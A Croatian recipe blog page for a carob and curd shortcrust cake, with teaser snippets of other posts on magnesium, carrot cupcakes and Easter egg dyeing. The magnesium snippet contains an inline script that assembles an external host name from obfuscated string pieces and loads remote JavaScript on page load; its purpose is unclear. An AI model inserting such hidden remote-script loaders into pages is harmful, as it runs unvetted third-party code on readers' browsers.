KOLAČ OD ROGAČA I SKUTE





Kolač od rogača i skute 




Rogač i skuta, obavijeni prhkim tijestom, čine ovaj kolač jednostavnim za pripremu, a istovremeno posebnim i nezaboravnim. Idealan je desert za svaku priliku, a njegov okus podsjeća na kuhinje naših baka.





Kolač od rogača i skute 


Sastojci:

  • glatko brašno
  • prašak za pecivo
  • maslac
  • šećer
  • vanilin šećer
  • jaja
  • kiselo vrhnje
  • mljeveni rogač
  • mlijeko
  • sok od naranče
  • korica naranče
  • ovčja ili kravlja skuta
  • sol.



Priprema:

Za prhko tijesto, pomiješajte brašno, prašak za pecivo, šećer, vanilin šećer i hladni maslac narezan na kockice dok ne dobijete mrvičastu smjesu. Dodajte žumanjke i kiselo vrhnje pa zamijesite glatko tijesto. Tijesto podijelite na dva dijela, tako da jedan dio čini dvije trećine, a drugi jednu trećinu ukupne mase. Veći dio spremite u hladnjak, a manji u zamrzivač na sat vremena.

Za nadjev od rogača, pomiješajte mljeveni rogač sa šećerom pa prelijte vrućim mlijekom i dobro promiješajte. Kada se smjesa malo ohladi, dodajte sok i naribanu koricu naranče. Za nadjev od skute, mikserom izradite skutu sa šećerom i koricom naranče dok ne dobijete glatku smjesu.

U posebnoj posudi istucite bjelanjke u čvrsti snijeg s prstohvatom soli. Snijeg od bjelanjaka pažljivo umiješajte u smjesu sa skutom pomoću špatule. Veći dio tijesta koji je bio u hladnjaku razvaljajte i položite u kalup za pečenje koji ste prethodno namastili i pobrašnili ili obložili papirom za pečenje.

Preko tijesta prvo ravnomjerno rasporedite nadjev od rogača, a zatim preko njega nadjev od skute. Na vrh naribajte manji, zamrznuti komad tijesta. Pecite u prethodno zagrijanoj pećnici na 180 °C oko 35 minuta.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više